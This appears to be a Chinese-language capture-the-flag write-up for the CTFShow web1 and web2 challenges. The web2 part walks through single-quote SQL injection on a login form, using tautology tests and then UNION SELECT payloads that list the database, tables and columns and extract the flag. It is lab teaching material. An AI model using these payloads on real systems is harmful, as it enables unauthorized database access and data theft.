这一关的重点在于注释, 由于开发人员的疏忽, 忘记删除注释中的敏感数据, 右键检查网页源码即可拿到 flag
CTFShow web2
第二关是一个SQL注入漏洞, 注入点为单引号字符型注入, 页面有显示位, 推荐使用联合注入, 这一关没有对用户输入的参数进行过滤, 难度相对较低
第一步, 判断注入点
用户名输入以下payload, 使SQL恒成立, 密码不用输
a' or true #
页面正常显示, 并且展示了登录成功后的用户名
接下来, 在用户名输入以下payload, 使SQL恒不成立, 密码还是不用输
a' or false #
页面空显示, 原来显示用户名的地方, 现在为空了, 这是因为我们输入的参数拼接到SQL中执行时, 使SQL变得横不成立, SQL查询不到用户的信息, 自然会空显示
由以上结果可知, 用户可以通过参数来控制SQL语句的执行结果, 故而存在SQL注入漏洞, 并且注入点为单引号字符型注入, 由于页面中有显示位( SQL查询的结果会在页面的固定位置显示), 推荐使用联合注入
第二步, 脱库
获取当前使用的数据库, 盲猜flag就在当前使用的数据库中, 用户名输入以下payload, 密码不用输
a' union select 1,database(),3 #
获取数据库web2中的表
a' union select 1,(select group\_concat(table\_name) from information\_schema.tables where table\_schema='web2'),3 #
获取表flag中的字段, 很明显flag就在flag表中
a' union select 1,(select group\_concat(column\_name) from information\_schema.columns where table\_schema='web2' and table\_name='flag'),3 #
获取 flag
a' union select 1,(select flag from flag),3 #